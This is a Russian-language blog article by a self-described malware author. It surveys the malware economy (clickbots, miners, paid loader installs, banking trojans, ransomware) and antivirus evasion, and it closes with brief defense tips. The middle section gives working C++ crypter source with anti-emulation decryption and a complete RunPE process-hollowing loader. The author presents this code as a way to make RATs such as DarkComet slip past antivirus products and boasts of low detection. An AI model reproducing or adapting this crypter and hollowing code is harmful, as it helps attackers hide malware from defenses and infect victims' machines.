Приветствую, %читатель%. Решил ненадолго оторваться от форумных войн и работы, написав на Хабр статью о вредоносном ПО. Но статья эта будет необычная, так сказать — по другую сторону баррикад. Так уж сложилось, что на жизнь зарабатываю разработкой ПО. Вредоносного.
Заранее скажу:
Я не работаю по RU и СНГ в частности, а значит, чист перед законом. Не надо меня тыкать в УК РФ, его знаю отлично и не нарушаю. Такое у нас УПК, что не считает нарушением 272/273, если не причинило вред Российской Федерации. Таким образом, я отказываюсь от ответственности от сказанного мною тут, а также не несу никакой ответственности за причиненные действия после прочтения этой статьи. И вообще — я завязал. Я добрый, хольте и лелейте.
Итак, приступим.
Начну с того, кто и зачем пишет вредоносное ПО.
Вместо вступления. Зачем же это все?
Начну со своей истории. Я начал программирование с написания вредоносного ПО, как и многие в этой сфере. Именно поэтому так часто встречаются глупые вредоносы, которые только портят, либо содержат столько ошибок, что компьютер вообще отказывается дальше работать. Побудил меня интерес к этому, когда я поймал подобную малварь. Ну, и собственное эго — начал я с таких же портящих систему вредоносов.
Позврослев и набравшись опыта, я понял, что на этом можно зарабатывать. Об этом я и хочу поговорить в первой части статьи.
Как используют вредоносное ПО?
Начнем с самого безобидного.
I) Clickfraud, мошенничество с кликами, или, как мы говорим — кликботы. Для чего это надо? Ну, представим, что вы некая рекламная фирма, и вам платят за переходы. Другими словами за траффик. И тут два пути:
1) Либо этот траффик добыть честным путем, рекламой;
2) Либо просто «попросить» вредоноса (мне не нравится, честно говоря, слово вредонос) перейти на сайт. Хорошие кликботы умеют эмулировать javascript и кликать по экрану, что очень сложно отфильтровать.
Как мы понимаем, реклама дорога, и ботнет на базе кликбота очень хорошо окупается.
Примером является P2P-ботнет на базе ZeroAccess.
II) Переходим к более агрессивному софту, майнинг. Думаю, не нужно местному сообществу объяснять, что такое майнинг. Просто скажу цифру: 9 USD/day с ~120 онлайна серверных систем на майнинге Altcoin.
Пример: ZeroAccess для майнинга Bitcoin.
Неплохо, да? Но это все неинтересно, идем дальше.
III) Загрузки. Вот мы и подошли к тому, про что обычное IT-сообщество не знает. Как обычно говорят аверы — Trojan-Downloader, а мы будем говорить по простому — лоадер. Так вот, лоадер — это такая штука, которая служит для скачивания и запуска другой малвари. Они бывают нерезидентными и резидентными. Поговорим про второе, ибо это наиболее интересно. Что обычно делает человек, использующий малварь для своих благих целей? Он ищет где бы достать лоады (загрузки) на компьютеры пользователей. И идет он к адверту (человек, который грузит софт). Адверт использует лоадер для загрузки софта этого человека на компьютеры пользователей.
Обычные расценки:
US — 600$/1к лоадов
UK — 400$/1к лоадов
Микс мира — 100$/1к лоадов
Микс Азии — 75$/1к лоадов.
Эти цены взяты у одного из таких адвертов.
Пример: Smoke Loader.
IV) Банкботы. Вот мы и подошли к кардерам, которые воруют денюшку иу людишек.
Начнем с банкботов.
Как работает банкбот?
Попадая на компьютер пользователя он инжектит код (внедряет в адресное пространство процесса) в браузеры, ставит хуки на апишки для работы с сетью (перехватывает функции отправки/получения данных с сети), после чего производит подмену выдачи (разговорное: веб-инжекты, инжи, инжекты). Т.е, например, заходит пользователь в онлайн банк, а у него вместо формы от банка подменяется код на форму, которая совершает автоматический перевод после ввода данных авторизации (автозаливы). Это простейший вариант; разумеется, существуют разные антифрод системы в банках и прочие способы защиты. Но и есть способы их обхода.
Суммы, получаемые кардерами, можете представить сами.
Пример: Zeus, SpyEye.
V) Криптолокеры. Наконец, мы подошли к самому низкому — криптолокерам. Данный софт шифрует все на винте и требует выкуп. Наиболее профессиональные работают следующим образом:
При старте проверяют запущены ли они в СНГ (обычно по раскладке) и, если запущены, то завершаются. Это не шутка, так и есть, примеры: Cerber Locker.
Ну да ладно, это профессионализм в целях безопасности своей же, но мы рассмотрим то, как они умудряются все пошифровать, да так, что не расшифруешь.
Для каждого файла генерируется уникальный AES-256 ключ, который шифруется глобальным публичным RSA-2048 ключем, а приватная часть удаляется из памяти и отправляется на сервер для хранения. Сделано это для того, чтобы увеличить скорость шифрования, ибо RSA — слишком медленный алгоритм, а AES-CBC шифрует довольно быстро. Чтобы расшифровать потребуются сотни лет со всей вычислительной мощности, либо приватный ключ с сервера для расшифровки ключа AES, который отправляется в автоматическом режиме при получении оплаты на уникальный для бота bitcoin-адрес. Именно так работает Cerber Locker. По данным исследователей (гуглится легко) авторы цербера заработали около $2 млн за год. На деле чуть меньше миллиона, так как распространяется этот софт засчет адвертов, которым уходит 50% (на одном из форумов висит их партнерская программа).
Вместо основной части. Как происходит управление ботнетом?
Разумеется, мы должны как-то всем этим управлять. Для этого используются чаще всего C&C-серверы (Command and control). Боты просто при старте подключаются к серверу и ждут оттуда команды. Разумеется, приходят абузы и сервер наглым образом блочат, но и от этого есть панацея. Можно использовать DGA (алгоритм генерации доменов), либо
А как же с обходами антивирусов?
Для начала поговорим о уровнях защиты: scantime, runtime. Другими словами, во время сканирования и во время работы. К первому относится сигнатурный анализ и эвристический, а ко второму — проактивные технологии.
Все это обходится достаточно просто. Эвристика ищет подозрительные вызовы API и имена в таблице импорта, а мы можем просто использовать динамический импорт функций через самописную GetProcAddress функцию и различные техники антиэмуляции. До недавнего времени KIS не умел эмулировать последнюю ошибку API функций и его легко было пустить по ложному следу, сейчас это почему-то перестало помогать. Пока не расковырял, увы.
Для обхода сигнатурного детекта уже старых вредоносов используются крипторы. По простому, это обычные упаковщики/протекторы, но нужны для другого — расшифровать зашифрованный код в памяти и запустить его подобно загрузчику Windows. Так действуют LoadPE-крипторы.
С проактивными сложнее и обходятся исключительно разрывом шаблона поведения, нужно вести себя так, как будто ты белый и пушистый.
void Decrypt(PCHAR str, DWORD size)
{
int j = 2;
OpenProcess(0, 0, 0);
for (DWORD i = 0; i < size; i++)
{
if ((i % 1024 == 0) && (fact(j) != j))
ExitProcess(0);
str[i] ^= (xor_key - GetLastError());
str[i] -= (fact(j + 1) - fact(j) * fact(j));
}
}
void __cdecl memset_mm(void *data, char byte, DWORD size)
{
for (unsigned int i = 0; i < size; i++)
((char*)data)[i] = byte;
}
void run(LPSTR szFilePath, PVOID pFile)
{
PIMAGE_DOS_HEADER IDH;
PIMAGE_NT_HEADERS INH;
PIMAGE_SECTION_HEADER ISH;
PROCESS_INFORMATION PI;
STARTUPINFOA SI;
memset_mm(&PI, 0, sizeof(PI));
memset_mm(&SI, 0, sizeof(SI));
PCONTEXT CTX;
NtUnmapViewOfSection xNtUnmapViewOfSection;
LPVOID pImageBase;
int Count;
IDH = PIMAGE_DOS_HEADER(pFile);
if (IDH->e_magic == IMAGE_DOS_SIGNATURE)
{
INH = PIMAGE_NT_HEADERS(DWORD(pFile) + IDH->e_lfanew);
if (INH->Signature == IMAGE_NT_SIGNATURE)
{
if (CreateProcessA(szFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI))
{
CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
CTX->ContextFlags = CONTEXT_FULL;
if (GetThreadContext(PI.hThread, LPCONTEXT(CTX)))
{
xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
xNtUnmapViewOfSection(PI.hProcess, PVOID(INH->OptionalHeader.ImageBase));
pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
if (pImageBase)
{
WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, NULL);
for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++)
{
ISH = PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew + 248 + (Count * 40));
WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID(DWORD(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
}
WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&INH->OptionalHeader.ImageBase), 4, NULL);
CTX->Eax = DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread, LPCONTEXT(CTX));
ResumeThread(PI.hThread);
}
}
}
}
}
VirtualFree(pFile, 0, MEM_RELEASE);
}
void Decryption()
{
PCHAR Self = (PCHAR)VirtualAlloc(0, 256, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!Self)
ExitProcess(0);
GetModuleFileNameA(0, Self, 256);
Decrypt((PCHAR)&Buf[0], size);
run(Self, Buf);
ExitProcess(0);
}
В примере в качестве ключа используется LastError от неверного вызова функции OpenProcess. Спасал раньше от KIS и других, сейчас как-то не очень. Видимо эмулятор дописали по-нормальному.
void Decrypt(PCHAR str, DWORD size)
{
int j = 2;
OpenProcess(0, 0, 0);
for (DWORD i = 0; i < size; i++)
{
if ((i % 1024 == 0) && (fact(j) != j))
ExitProcess(0);
str[i] ^= (xor_key - GetLastError());
str[i] -= (fact(j + 1) - fact(j) * fact(j));
}
}
Несмотря на такой простой алгоритм, это помогает обойти большинство антивирусов, убрав эвристические и сигнатурные детекты.
Не верите? Ок.
Давайте посмотрим на результат сканирования малвари DarkComet RAT.
А теперь накроем его криптором из под спойлера.
Результат интересный, из-за паники вокруг Zeus'а очень много ложных срабатываний из-за очень общих сигнатур на него. Разумеется, 1 детект — это ошибка скорее, а не достижение.
Вместо заключения. Как защититься?
Рекламировать особенные продукты не буду, но они есть. И этот продукт бесплатен.
1) Поставьте линукс
1) Используйте решения класса Internet Security (Total Security);
2) Используйте фаерволлы;
3) UAC на максимальный уровень (хотя это легко обходится), пароль на админа 40 символов и сидите из под юзера;
4) NoScript плагин для браузера, измененный UserAgent под Linux и Chrome для неверной идентификации браузера.
На этом у меня все.
Автор: FancyMalware